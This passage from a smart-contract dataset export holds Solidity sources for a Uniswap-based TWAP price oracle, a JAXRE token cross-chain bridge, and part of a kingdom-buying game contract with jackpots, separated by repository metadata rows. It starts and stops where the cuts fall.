while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) public {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(now >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (now < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) public Epoch(_period, _startTime, 0) {
pair = _pair;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 307,635 | 14,022 |
bff169aef0caf74d3bef1f21883ae02657c98af9c0ab2f8dce7271619d6efbbb
| 13,432 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b0/B0E9b791003beFBfa9EdC1c1698d55f7dfa23E25_JaxreAvaxBridge.sol
| 3,890 | 13,295 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
interface IERC20 {
function mint(address, uint) external;
function burn(uint) external;
function transfer(address, uint) external;
function transferFrom(address, address, uint) external;
}
contract JaxreAvaxBridge {
uint chainId;
address public admin;
uint public penalty_amount = 0;
address public penalty_wallet;
uint public max_pending_audit_records = 10;
uint public pending_audit_records;
IERC20 public jaxre = IERC20(0x9E79696a4C1163D35f01d71DcbBc5C139691C6D3);
mapping(uint => uint) public fee_percent; // 8 decimals
mapping(uint => uint) public minimum_fee_amount;
bool public use_no_gas;
enum RequestStatus {Init, Proved, Verified, Released, Completed, Rejected}
struct Request {
uint src_chain_id;
uint dest_chain_id;
uint amount;
uint fee_amount;
address to;
uint deposit_timestamp;
bytes32 src_chain_data_hash;
bytes32 data_hash;
RequestStatus status;
string deposit_tx_hash;
string deposit_tx_link;
string release_tx_link;
}
Request[] public requests;
address[] public auditors;
address[] public verifiers;
address[] public bridge_executors;
mapping(address => uint) public operating_limits;
mapping(address => address) public fee_wallets;
mapping(bytes32 => bool) public proccessed_txd_hashes;
mapping(bytes32 => Request) public foreign_requests;
event Deposit(uint indexed request_id, bytes32 indexed data_hash, address indexed to, uint amount, uint fee_amount, uint64 src_chain_id, uint64 dest_chain_id, uint128 deposit_timestamp);
event Release(bytes32 indexed src_chain_data_hash);
event Verify_Data_Hash(bytes32 src_chain_data_hash);
event Reject_Bridge_Transaction(bytes32 src_chain_data_hash);
event Complete_Release_Tx_Link(uint request_id, string deposit_tx_hash, string release_tx_hash, bytes32 info_hash);
event Update_Release_Tx_Link(uint request_id, string deposit_tx_hash, string release_tx_hash);
event Reject_Request(uint request_id);
event Set_Fee(uint fee_percent, uint minimum_fee_amount);
event Add_Penalty_Amount(uint amount, bytes32 info_hash);
event Subtract_Penalty_Amount(uint amount, bytes32 info_hash);
event Withdraw_By_Admin(address token, uint amount);
constructor() {
admin = msg.sender;
uint _chainId;
assembly {
_chainId := chainid()
}
chainId = _chainId;
penalty_wallet = msg.sender;
}
modifier onlyAdmin() {
require(admin == msg.sender, "Only Admin can perform this operation.");
_;
}
modifier onlyAuditor() {
require(isAuditor(msg.sender), "Only Auditor can perform this operation.");
_;
}
modifier onlyVerifier() {
require(isVerifier(msg.sender), "Only Verifier can perform this operation.");
_;
}
modifier onlyExecutor() {
require(isBridgeExecutor(msg.sender), "Not a bridge executor");
_;
}
modifier noGas() {
uint gas = gasleft();
_;
if(use_no_gas){
payable(msg.sender).transfer(tx.gasprice * (gas - gasleft()));
}
}
function deposit(uint dest_chain_id, uint amount) external {
require(amount >= minimum_fee_amount[dest_chain_id], "Minimum amount");
require(chainId != dest_chain_id, "Invalid Destnation network");
uint request_id = requests.length;
uint fee_amount = amount * fee_percent[dest_chain_id] / 1e8;
if(fee_amount < minimum_fee_amount[dest_chain_id]) fee_amount = minimum_fee_amount[dest_chain_id];
bytes32 src_chain_data_hash = _get_data_hash(request_id, msg.sender, chainId, dest_chain_id, amount, fee_amount, block.timestamp);
Request memory request = Request({
src_chain_id: chainId,
dest_chain_id: dest_chain_id,
amount: amount,
fee_amount: fee_amount,
to: msg.sender,
deposit_timestamp: block.timestamp,
src_chain_data_hash: src_chain_data_hash,
data_hash: 0,
status: RequestStatus.Init,
deposit_tx_hash: "",
deposit_tx_link: "",
release_tx_link: ""
});
requests.push(request);
jaxre.transferFrom(msg.sender, address(this), amount);
jaxre.burn(amount);
emit Deposit(request_id, src_chain_data_hash, msg.sender, amount, fee_amount, uint64(chainId), uint64(dest_chain_id), uint128(block.timestamp));
}
function verify_data_hash(uint request_id,
address to,
uint src_chain_id,
uint dest_chain_id,
uint amount,
uint fee_amount,
uint timestamp,
bytes32 src_chain_data_hash,
string memory deposit_tx_hash) external noGas onlyVerifier {
require(dest_chain_id == chainId, "Incorrect destination network");
require(src_chain_data_hash == _get_data_hash(request_id, to, src_chain_id, chainId, amount, fee_amount, timestamp), "Incorrect data hash");
bytes32 txDHash = keccak256(abi.encodePacked(deposit_tx_hash));
require(!proccessed_txd_hashes[txDHash], "Invalid deposit tx hash");
bytes32 data_hash = keccak256(abi.encodePacked(src_chain_data_hash, deposit_tx_hash));
Request memory request = Request({
src_chain_id: src_chain_id,
dest_chain_id: dest_chain_id,
amount: amount,
fee_amount: fee_amount,
to: to,
deposit_timestamp: timestamp,
src_chain_data_hash: src_chain_data_hash,
data_hash: data_hash,
status: RequestStatus.Verified,
deposit_tx_hash: deposit_tx_hash,
deposit_tx_link: "",
release_tx_link: ""
});
foreign_requests[src_chain_data_hash] = request;
emit Verify_Data_Hash(src_chain_data_hash);
}
function reject_bridge_transaction(uint request_id,
address to,
uint src_chain_id,
uint dest_chain_id,
uint amount,
uint fee_amount,
uint timestamp,
string memory deposit_tx_hash) external noGas onlyVerifier {
bytes32 src_chain_data_hash = _get_data_hash(request_id, to, src_chain_id, dest_chain_id, amount, fee_amount, timestamp);
bytes32 data_hash = keccak256(abi.encodePacked(src_chain_data_hash, deposit_tx_hash));
Request storage request = foreign_requests[src_chain_data_hash];
require(request.status == RequestStatus.Verified, "Invalid status");
require(data_hash == request.data_hash, "Datahash mismatch");
request.status = RequestStatus.Rejected;
emit Reject_Bridge_Transaction(src_chain_data_hash);
}
function release(uint request_id,
address to,
uint src_chain_id,
uint dest_chain_id,
uint amount,
uint fee_amount,
uint timestamp,
string memory deposit_tx_hash) external noGas onlyExecutor {
require(dest_chain_id == chainId, "Incorrect destination network");
bytes32 src_chain_data_hash = _get_data_hash(request_id, to, src_chain_id, chainId, amount, fee_amount, timestamp);
Request storage request = foreign_requests[src_chain_data_hash];
require(request.status == RequestStatus.Verified, "Invalid status");
require(keccak256(abi.encodePacked(src_chain_data_hash, deposit_tx_hash)) == request.data_hash, "Datahash mismatch");
require(operating_limits[msg.sender] >= amount, "Out of operating limit");
require(max_pending_audit_records > pending_audit_records, "Exceed maximum pending audit records");
pending_audit_records += 1;
operating_limits[msg.sender] -= amount;
jaxre.mint(address(this), amount);
jaxre.transfer(to, amount - fee_amount);
if(penalty_amount > 0) {
if(penalty_amount > fee_amount) {
jaxre.transfer(penalty_wallet, fee_amount);
penalty_amount -= fee_amount;
}
else {
jaxre.transfer(penalty_wallet, penalty_amount);
jaxre.transfer(fee_wallets[msg.sender], fee_amount - penalty_amount);
penalty_amount -= penalty_amount;
}
}
else {
jaxre.transfer(fee_wallets[msg.sender], fee_amount);
}
proccessed_txd_hashes[keccak256(abi.encodePacked(deposit_tx_hash))] = true;
request.status = RequestStatus.Released;
emit Release(src_chain_data_hash);
}
function complete_release_tx_link(uint request_id,
address to,
uint src_chain_id,
uint dest_chain_id,
uint amount,
uint fee_amount,
uint timestamp,
string memory deposit_tx_hash,
string memory deposit_tx_link,
string memory release_tx_link,
bytes32 info_hash) external noGas onlyAuditor {
bytes32 src_chain_data_hash = _get_data_hash(request_id, to, src_chain_id, dest_chain_id, amount, fee_amount, timestamp);
bytes32 data_hash = keccak256(abi.encodePacked(src_chain_data_hash, deposit_tx_hash));
Request storage request = foreign_requests[src_chain_data_hash];
require(request.status == RequestStatus.Released, "Invalid status");
require(data_hash == request.data_hash, "Datahash mismatch");
request.deposit_tx_link = deposit_tx_link;
request.release_tx_link = release_tx_link;
pending_audit_records -= 1;
request.status = RequestStatus.Completed;
emit Complete_Release_Tx_Link(request_id, deposit_tx_link, release_tx_link, info_hash);
}
function update_release_tx_link(uint request_id, string memory deposit_tx_link, string memory release_tx_link) external onlyAdmin {
Request storage request = requests[request_id];
request.deposit_tx_link = deposit_tx_link;
request.release_tx_link = release_tx_link;
emit Update_Release_Tx_Link(request_id, deposit_tx_link, release_tx_link);
}
function _get_data_hash(uint request_id,
address to,
uint src_chain_id,
uint dest_chain_id,
uint amount,
uint fee_amount,
uint timestamp) pure public returns (bytes32) {
return keccak256(abi.encodePacked(request_id,
to,
src_chain_id,
dest_chain_id,
amount,
fee_amount,
timestamp));
}
function add_auditor(address auditor) external onlyAdmin {
for(uint i = 0; i < auditors.length; i += 1) {
if(auditors[i] == auditor)
revert("Already exists");
}
auditors.push(auditor);
}
function delete_auditor(address auditor) external onlyAdmin {
uint i = 0;
for(; i < auditors.length; i += 1) {
if(auditors[i] == auditor)
break;
}
require(i < auditors.length, "Not an auditor");
auditors[i] = auditors[auditors.length - 1];
auditors.pop();
}
function isAuditor(address auditor) public view returns(bool) {
uint i = 0;
for(; i < auditors.length; i += 1) {
if(auditors[i] == auditor)
return true;
}
return false;
}
function add_verifier(address verifier) external onlyAdmin {
for(uint i = 0; i < verifiers.length; i += 1) {
if(verifiers[i] == verifier)
revert("Already exists");
}
verifiers.push(verifier);
}
function delete_verifier(address verifier) external onlyAdmin {
uint i = 0;
for(; i < verifiers.length; i += 1) {
if(verifiers[i] == verifier)
break;
}
require(i < verifiers.length, "Not an verifier");
verifiers[i] = verifiers[verifiers.length - 1];
verifiers.pop();
}
function isVerifier(address verifier) public view returns(bool) {
uint i = 0;
for(; i < verifiers.length; i += 1) {
if(verifiers[i] == verifier)
return true;
}
return false;
}
function add_bridge_executor(address executor, uint operating_limit, address fee_wallet) external onlyAdmin {
for(uint i = 0; i < bridge_executors.length; i += 1) {
if(bridge_executors[i] == executor)
revert("Already exists");
}
bridge_executors.push(executor);
operating_limits[executor] = operating_limit;
fee_wallets[executor] = fee_wallet;
}
function isBridgeExecutor(address executor) public view returns(bool) {
uint i = 0;
for(; i < bridge_executors.length; i += 1) {
if(bridge_executors[i] == executor)
return true;
}
return false;
}
function set_operating_limit(address executor, uint operating_limit) external onlyAdmin {
require(isBridgeExecutor(executor), "Not a bridge executor");
operating_limits[executor] = operating_limit;
}
function set_fee(uint dest_chain_id, uint _fee_percent, uint _minimum_fee_amount) external onlyAdmin {
fee_percent[dest_chain_id] = _fee_percent;
minimum_fee_amount[dest_chain_id] = _minimum_fee_amount;
emit Set_Fee(_fee_percent, _minimum_fee_amount);
}
function set_penalty_wallet(address _penalty_wallet) external onlyAdmin {
penalty_wallet = _penalty_wallet;
}
function set_admin(address _admin) external onlyAdmin {
admin = _admin;
}
function add_penalty_amount(uint amount, bytes32 info_hash) external noGas onlyAuditor {
penalty_amount += amount;
emit Add_Penalty_Amount(amount, info_hash);
}
function subtract_penalty_amount(uint amount, bytes32 info_hash) external noGas onlyAuditor {
require(penalty_amount >= amount, "over penalty amount");
penalty_amount -= amount;
emit Subtract_Penalty_Amount(amount, info_hash);
}
function set_use_no_gas(bool flag) external onlyAdmin {
use_no_gas = flag;
}
function withdrawByAdmin(address token, uint amount) external onlyAdmin {
IERC20(token).transfer(msg.sender, amount);
emit Withdraw_By_Admin(token, amount);
}
fallback() external payable {
}
receive() external payable {
}
function withdraw_ETH(uint amount) external onlyAdmin {
payable(msg.sender).transfer(amount);
}
}
| 76,864 | 14,023 |
b31221b4bf49467dfd175ca9ef62b875d49bf62e3f3b5df2e679fa632a491e06
| 18,764 |
.sol
|
Solidity
| false |
120378311
|
ScreenshotLabs/gameofblocks-2018-smart-contract
|
8776db7279b615a3a56667a4f7d953a5341c8fa4
|
Map.sol
| 5,038 | 18,642 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Destructible is Ownable {
function Destructible() public payable { }
function destroy() onlyOwner public {
selfdestruct(owner);
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
}
contract ReentrancyGuard {
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
contract Map is PullPayment, Destructible, ReentrancyGuard {
using SafeMath for uint256;
// STRUCTS
struct Transaction {
string kingdomKey;
address compensationAddress;
uint buyingPrice;
uint compensation;
uint jackpotContribution;
}
struct Kingdom {
string title;
string key;
uint kingdomTier;
uint kingdomType;
uint minimumPrice;
uint lastTransaction;
uint transactionCount;
uint returnPrice;
address owner;
bool locked;
}
struct Jackpot {
address winner;
uint balance;
}
struct Round {
Jackpot globalJackpot;
Jackpot jackpot1;
Jackpot jackpot2;
Jackpot jackpot3;
Jackpot jackpot4;
Jackpot jackpot5;
mapping(string => bool) kingdomsCreated;
mapping(address => uint) nbKingdoms;
mapping(address => uint) nbTransactions;
mapping(address => uint) nbKingdomsType1;
mapping(address => uint) nbKingdomsType2;
mapping(address => uint) nbKingdomsType3;
mapping(address => uint) nbKingdomsType4;
mapping(address => uint) nbKingdomsType5;
uint startTime;
uint endTime;
mapping(string => uint) kingdomsKeys;
}
Kingdom[] public kingdoms;
Transaction[] public kingdomTransactions;
uint public currentRound;
address public bookerAddress;
mapping(uint => Round) rounds;
uint constant public ACTION_TAX = 0.02 ether;
uint constant public STARTING_CLAIM_PRICE_WEI = 0.05 ether;
uint constant MAXIMUM_CLAIM_PRICE_WEI = 800 ether;
uint constant KINGDOM_MULTIPLIER = 20;
uint constant TEAM_COMMISSION_RATIO = 10;
uint constant JACKPOT_COMMISSION_RATIO = 10;
// MODIFIERS
modifier onlyForRemainingKingdoms() {
uint remainingKingdoms = getRemainingKingdoms();
require(remainingKingdoms > kingdoms.length);
_;
}
modifier checkKingdomExistence(string key) {
require(rounds[currentRound].kingdomsCreated[key] == true);
_;
}
modifier checkIsNotLocked(string kingdomKey) {
require(kingdoms[rounds[currentRound].kingdomsKeys[kingdomKey]].locked != true);
_;
}
modifier checkIsClosed() {
require(now >= rounds[currentRound].endTime);
_;
}
modifier onlyKingdomOwner(string _key, address _sender) {
require (kingdoms[rounds[currentRound].kingdomsKeys[_key]].owner == _sender);
_;
}
// EVENTS
event LandCreatedEvent(string kingdomKey, address monarchAddress);
event LandPurchasedEvent(string kingdomKey, address monarchAddress);
//
// CONTRACT CONSTRUCTOR
//
function Map(address _bookerAddress) {
bookerAddress = _bookerAddress;
currentRound = 1;
rounds[currentRound] = Round(Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), Jackpot(address(0), 0), 0, 0);
rounds[currentRound].jackpot1 = Jackpot(address(0), 0);
rounds[currentRound].jackpot2 = Jackpot(address(0), 0);
rounds[currentRound].jackpot3 = Jackpot(address(0), 0);
rounds[currentRound].jackpot4 = Jackpot(address(0), 0);
rounds[currentRound].jackpot5 = Jackpot(address(0), 0);
rounds[currentRound].startTime = now;
rounds[currentRound].endTime = now + 7 days;
rounds[currentRound].globalJackpot = Jackpot(address(0), 0);
}
function () { }
function getRemainingKingdoms() public view returns (uint nb) {
for (uint i = 1; i < 56; i++) {
if (now < rounds[currentRound].startTime + (i * 3 hours)) {
uint result = (5 * i);
if (result > 150) {
return 150;
} else {
return result;
}
}
}
}
function setTypedJackpotWinner(address _user, uint _type) internal {
if (_type == 1) {
if (rounds[currentRound].jackpot1.winner == address(0)) {
rounds[currentRound].jackpot1.winner = _user;
} else if (rounds[currentRound].nbKingdomsType1[_user] >= rounds[currentRound].nbKingdomsType1[rounds[currentRound].jackpot1.winner]) {
rounds[currentRound].jackpot1.winner = _user;
}
} else if (_type == 2) {
if (rounds[currentRound].jackpot2.winner == address(0)) {
rounds[currentRound].jackpot2.winner = _user;
} else if (rounds[currentRound].nbKingdomsType2[_user] >= rounds[currentRound].nbKingdomsType2[rounds[currentRound].jackpot2.winner]) {
rounds[currentRound].jackpot2.winner = _user;
}
} else if (_type == 3) {
if (rounds[currentRound].jackpot3.winner == address(0)) {
rounds[currentRound].jackpot3.winner = _user;
} else if (rounds[currentRound].nbKingdomsType3[_user] >= rounds[currentRound].nbKingdomsType3[rounds[currentRound].jackpot3.winner]) {
rounds[currentRound].jackpot3.winner = _user;
}
} else if (_type == 4) {
if (rounds[currentRound].jackpot4.winner == address(0)) {
rounds[currentRound].jackpot4.winner = _user;
} else if (rounds[currentRound].nbKingdomsType4[_user] >= rounds[currentRound].nbKingdomsType4[rounds[currentRound].jackpot4.winner]) {
rounds[currentRound].jackpot4.winner = _user;
}
} else if (_type == 5) {
if (rounds[currentRound].jackpot5.winner == address(0)) {
rounds[currentRound].jackpot5.winner = _user;
} else if (rounds[currentRound].nbKingdomsType5[_user] >= rounds[currentRound].nbKingdomsType5[rounds[currentRound].jackpot5.winner]) {
rounds[currentRound].jackpot5.winner = _user;
}
}
}
//
// This is the main function. It is called to buy a kingdom
//
function purchaseKingdom(string _key, string _title, bool _locked) public
payable
nonReentrant()
checkKingdomExistence(_key)
checkIsNotLocked(_key)
{
require(now < rounds[currentRound].endTime);
Round storage round = rounds[currentRound];
uint kingdomId = round.kingdomsKeys[_key];
Kingdom storage kingdom = kingdoms[kingdomId];
require((kingdom.kingdomTier + 1) < 6);
uint requiredPrice = kingdom.minimumPrice;
if (_locked == true) {
requiredPrice = requiredPrice.add(ACTION_TAX);
}
require (msg.value >= requiredPrice);
uint jackpotCommission = (msg.value).sub(kingdom.returnPrice);
if (kingdom.returnPrice > 0) {
round.nbKingdoms[kingdom.owner]--;
if (kingdom.kingdomType == 1) {
round.nbKingdomsType1[kingdom.owner]--;
} else if (kingdom.kingdomType == 2) {
round.nbKingdomsType2[kingdom.owner]--;
} else if (kingdom.kingdomType == 3) {
round.nbKingdomsType3[kingdom.owner]--;
} else if (kingdom.kingdomType == 4) {
round.nbKingdomsType4[kingdom.owner]--;
} else if (kingdom.kingdomType == 5) {
round.nbKingdomsType5[kingdom.owner]--;
}
compensateLatestMonarch(kingdom.lastTransaction, kingdom.returnPrice);
}
uint jackpotSplitted = jackpotCommission.mul(50).div(100);
round.globalJackpot.balance = round.globalJackpot.balance.add(jackpotSplitted);
kingdom.kingdomTier++;
kingdom.title = _title;
if (kingdom.kingdomTier == 5) {
kingdom.returnPrice = 0;
} else {
kingdom.returnPrice = kingdom.minimumPrice.mul(2);
kingdom.minimumPrice = kingdom.minimumPrice.add(kingdom.minimumPrice.mul(2));
}
kingdom.owner = msg.sender;
kingdom.locked = _locked;
uint transactionId = kingdomTransactions.push(Transaction("", msg.sender, msg.value, 0, jackpotSplitted)) - 1;
kingdomTransactions[transactionId].kingdomKey = _key;
kingdom.transactionCount++;
kingdom.lastTransaction = transactionId;
setNewJackpot(kingdom.kingdomType, jackpotSplitted, msg.sender);
LandPurchasedEvent(_key, msg.sender);
}
function setNewJackpot(uint kingdomType, uint jackpotSplitted, address sender) internal {
rounds[currentRound].nbTransactions[sender]++;
rounds[currentRound].nbKingdoms[sender]++;
if (kingdomType == 1) {
rounds[currentRound].nbKingdomsType1[sender]++;
rounds[currentRound].jackpot1.balance = rounds[currentRound].jackpot1.balance.add(jackpotSplitted);
} else if (kingdomType == 2) {
rounds[currentRound].nbKingdomsType2[sender]++;
rounds[currentRound].jackpot2.balance = rounds[currentRound].jackpot2.balance.add(jackpotSplitted);
} else if (kingdomType == 3) {
rounds[currentRound].nbKingdomsType3[sender]++;
rounds[currentRound].jackpot3.balance = rounds[currentRound].jackpot3.balance.add(jackpotSplitted);
} else if (kingdomType == 4) {
rounds[currentRound].nbKingdomsType4[sender]++;
rounds[currentRound].jackpot4.balance = rounds[currentRound].jackpot4.balance.add(jackpotSplitted);
} else if (kingdomType == 5) {
rounds[currentRound].nbKingdomsType5[sender]++;
rounds[currentRound].jackpot5.balance = rounds[currentRound].jackpot5.balance.add(jackpotSplitted);
}
setNewWinner(msg.sender, kingdomType);
}
function setLock(string _key, bool _locked) public payable checkKingdomExistence(_key) onlyKingdomOwner(_key, msg.sender) {
if (_locked == true) { require(msg.value >= ACTION_TAX); }
kingdoms[rounds[currentRound].kingdomsKeys[_key]].locked = _locked;
if (msg.value > 0) { asyncSend(bookerAddress, msg.value); }
}
//
